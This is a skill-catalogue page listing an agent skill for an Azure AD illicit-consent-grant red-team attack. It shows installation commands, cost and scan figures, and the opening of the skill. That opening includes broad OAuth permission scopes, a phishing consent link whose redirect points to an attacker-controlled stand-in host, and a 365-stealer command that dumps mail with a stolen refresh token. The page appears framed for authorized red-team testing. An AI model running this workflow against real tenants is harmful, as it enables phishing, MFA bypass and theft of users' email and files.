Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grantWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grant)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grant/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grant"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/azure-ad-illicit-consent-grant.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.01072 |
| Opus 5 | $0.00028 | $0.00536 |
| Sonnet 5 | $0.00011 | $0.00214 |
| Haiku 4.5 | $0.00006 | $0.00107 |
Grade A, and why
azure-ad-illicit-consent-grant scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to azure-ad-illicit-consent-grant — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 128 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Azure AD Illicit Consent Grant Attack
When to Use
- When conducting cloud-focused Red Team engagements where standard credential phishing is blocked by strong Multi-Factor Authentication (MFA).
- To maintain stealthy, persistent access to a user's Microsoft 365 data (emails, OneDrive) by relying on OAuth refresh tokens rather than stolen passwords.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Registering the Malicious Application
# ```
### Phase 2: Defining Scopes and Permissions
```json
// // {
"requestedPermissions": [
{ "id": "Mail.ReadWrite", "type": "Scope" },
{ "id": "Files.ReadWrite.All", "type": "Scope" },
{ "id": "User.Read", "type": "Scope" }
]
}
Phase 3: Crafting the Consent Link (The Phish)
# # https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=ATTACKER_APP_ID
&response_type=code
&redirect_uri=https://attacker-controlled-site.com/callback
&response_mode=query
&scope=Mail.ReadWrite%20Files.ReadWrite.All%20User.Read%20offline_access
&state=12345
Phase 4: Harvesting the Tokens and Accessing Data
# python3 365-stealer.py --refresh-token [STOLEN_REFRESH_TOKEN] --dump-mail
Decision Point 🔀
flowchart TD
A[Send Phishing Link ] --> B{User Consents? ]}
B -->|Yes| C[Receive Auth Code ]
B -->|No| D[Revise Pretext ]
C --> E[Exchange for Token ]
🔵 Blue Team Detection & Defense
- Restrict App Consent: - Monitor Azure AD Audit Logs: Defend against Oauth Phishing: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Azure Ad Illicit Consent Grant — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 128 lines · 56 tokens per session scan A 59f5f451111e
azure-ad-illicit-consent-grant is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 56 tokens to every session and 1,072 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to azure-ad-illicit-consent-grant, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
azure-ad-illicit-consent-grant
Exploit Illicit Consent Grants in Azure Active Directory (Entra ID). This skill covers crafting a malicious OAuth application to trick victims into granting broad permissions (like reading emails, modifying files) without requiring their password or MFA.
detecting-suspicious-oauth-application-consent
Detect risky OAuth application consent grants in Azure AD / Microsoft Entra ID using Microsoft Graph API, audit logs, and permission analysis to identify illicit consent grant attacks.
auditing-azure-active-directory-configuration
Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.
detecting-azure-lateral-movement
Detect lateral movement in Azure AD/Entra ID environments using Microsoft Graph API audit logs, Azure Sentinel KQL hunting queries, and sign-in anomaly correlation to identify privilege escalation, token theft, and cross-tenant pivoting.
attacking-oauth-with-device-code-phishing
Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant…
azure-ad-lateral-movement
Execute lateral movement within Microsoft Entra ID (formerly Azure AD) and Microsoft 365 environments. Use this skill to traverse cloud resources using compromised user tokens, managed identities, Primary Refresh Tokens (PRT), and application permissions (Service Principals) to achieve Global Administrator access.